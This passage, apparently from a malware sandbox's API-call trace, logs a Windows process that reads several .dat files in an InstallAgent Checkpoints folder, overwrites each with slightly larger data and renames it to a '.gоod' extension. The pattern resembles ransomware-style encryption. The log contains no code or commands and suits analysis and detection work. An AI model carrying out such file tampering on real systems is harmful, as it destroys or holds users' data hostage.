returned 0x1 [0235.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0235.898] GetFileType (hFile=0x858) returned 0x1 [0235.898] WriteFile (in: hFile=0x858, lpBuffer=0x39c9b48*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x39c9b48*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0235.899] CloseHandle (hObject=0x858) returned 1 [0235.899] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat", lpFilePart=0x0) returned 0x51 [0235.899] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat.gоod", lpFilePart=0x0) returned 0x56 [0235.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0235.899] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvjl.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81e4ec, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa81e4ec, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x88d166ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0235.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0235.899] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvjl.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvjl.dat.gоod")) returned 1 [0235.900] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat", lpFilePart=0x0) returned 0x51 [0235.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0235.901] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvn5.dat"), fInfoLevelId=0x0, lpFileInformation=0x39cae20 | out: lpFileInformation=0x39cae20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4b130e, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa4b130e, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa4b130e, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd)) returned 1 [0235.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0235.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat", lpFilePart=0x0) returned 0x51 [0235.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0235.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvn5.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0235.901] GetFileType (hFile=0x858) returned 0x1 [0235.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0235.901] GetFileType (hFile=0x858) returned 0x1 [0235.901] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1cd [0235.901] ReadFile (in: hFile=0x858, lpBuffer=0x39cb2d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x39cb2d8*, lpNumberOfBytesRead=0x207ec5c8*=0x1cd, lpOverlapped=0x0) returned 1 [0235.902] CloseHandle (hObject=0x858) returned 1 [0237.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat", lpFilePart=0x0) returned 0x51 [0237.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0237.921] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvn5.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0237.922] GetFileType (hFile=0x828) returned 0x1 [0237.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0237.922] GetFileType (hFile=0x828) returned 0x1 [0237.923] WriteFile (in: hFile=0x828, lpBuffer=0x36ae030*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x36ae030*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0237.923] CloseHandle (hObject=0x828) returned 1 [0237.923] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat", lpFilePart=0x0) returned 0x51 [0237.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat.gоod", lpFilePart=0x0) returned 0x56 [0237.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0237.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvn5.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4b130e, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa4b130e, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8a0758c5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0237.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0237.924] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvn5.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvn5.dat.gоod")) returned 1 [0237.925] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat", lpFilePart=0x0) returned 0x51 [0237.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0237.925] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvqm.dat"), fInfoLevelId=0x0, lpFileInformation=0x36af308 | out: lpFileInformation=0x36af308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa929428, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa929428, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa929428, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d5)) returned 1 [0238.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0238.060] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat", lpFilePart=0x0) returned 0x51 [0238.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0238.104] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvqm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0238.105] GetFileType (hFile=0x828) returned 0x1 [0238.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0238.105] GetFileType (hFile=0x828) returned 0x1 [0238.105] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1d5 [0238.105] ReadFile (in: hFile=0x828, lpBuffer=0x38610a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x38610a8*, lpNumberOfBytesRead=0x207ec5c8*=0x1d5, lpOverlapped=0x0) returned 1 [0238.106] CloseHandle (hObject=0x828) returned 1 [0238.285] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat", lpFilePart=0x0) returned 0x51 [0238.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0238.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvqm.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0238.287] GetFileType (hFile=0x828) returned 0x1 [0238.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0238.287] GetFileType (hFile=0x828) returned 0x1 [0238.287] WriteFile (in: hFile=0x828, lpBuffer=0x37b1200*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x37b1200*, lpNumberOfBytesWritten=0x207ec4d8*=0x1e0, lpOverlapped=0x0) returned 1 [0238.288] CloseHandle (hObject=0x828) returned 1 [0238.288] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat", lpFilePart=0x0) returned 0x51 [0238.288] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat.gоod", lpFilePart=0x0) returned 0x56 [0238.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0238.288] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvqm.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa929428, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa929428, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8a3e2d73, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0238.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0238.289] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvqm.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvqm.dat.gоod")) returned 1 [0238.290] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat", lpFilePart=0x0) returned 0x51 [0238.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0238.290] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwd2.dat"), fInfoLevelId=0x0, lpFileInformation=0x37b24d8 | out: lpFileInformation=0x37b24d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7135d5, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7135d5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7135d5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d8)) returned 1 [0238.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0238.290] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat", lpFilePart=0x0) returned 0x51 [0238.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0238.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwd2.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0238.290] GetFileType (hFile=0x828) returned 0x1 [0238.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0238.290] GetFileType (hFile=0x828) returned 0x1 [0238.290] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1d8 [0238.290] ReadFile (in: hFile=0x828, lpBuffer=0x37b2998, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x37b2998*, lpNumberOfBytesRead=0x207ec5c8*=0x1d8, lpOverlapped=0x0) returned 1 [0238.292] CloseHandle (hObject=0x828) returned 1 [0238.889] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat", lpFilePart=0x0) returned 0x51 [0238.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0238.889] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwd2.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0238.890] GetFileType (hFile=0x82c) returned 0x1 [0238.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0238.890] GetFileType (hFile=0x82c) returned 0x1 [0238.890] WriteFile (in: hFile=0x82c, lpBuffer=0x391cde0*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x391cde0*, lpNumberOfBytesWritten=0x207ec4d8*=0x1e0, lpOverlapped=0x0) returned 1 [0238.891] CloseHandle (hObject=0x82c) returned 1 [0238.891] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat", lpFilePart=0x0) returned 0x51 [0238.891] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat.gоod", lpFilePart=0x0) returned 0x56 [0238.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0238.891] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwd2.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7135d5, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7135d5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8a9b2a5c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0238.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0238.891] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwd2.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwd2.dat.gоod")) returned 1 [0238.892] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat", lpFilePart=0x0) returned 0x51 [0238.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0238.892] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwkn.dat"), fInfoLevelId=0x0, lpFileInformation=0x391e0b8 | out: lpFileInformation=0x391e0b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a63cb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3a63cb, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa3a63cb, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0238.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0238.892] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat", lpFilePart=0x0) returned 0x51 [0238.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0238.892] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwkn.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0238.892] GetFileType (hFile=0x82c) returned 0x1 [0238.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0238.892] GetFileType (hFile=0x82c) returned 0x1 [0238.892] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1d0 [0238.892] ReadFile (in: hFile=0x82c, lpBuffer=0x391e570, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x391e570*, lpNumberOfBytesRead=0x207ec5c8*=0x1d0, lpOverlapped=0x0) returned 1 [0238.894] CloseHandle (hObject=0x82c) returned 1 [0239.252] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat", lpFilePart=0x0) returned 0x51 [0239.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0239.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwkn.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0239.253] GetFileType (hFile=0x828) returned 0x1 [0239.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0239.253] GetFileType (hFile=0x828) returned 0x1 [0239.253] WriteFile (in: hFile=0x828, lpBuffer=0x386c598*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x386c598*, lpNumberOfBytesWritten=0x207ec4d8*=0x1e0, lpOverlapped=0x0) returned 1 [0239.254] CloseHandle (hObject=0x828) returned 1 [0239.254] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat", lpFilePart=0x0) returned 0x51 [0239.254] GetFullPathNameW (in: 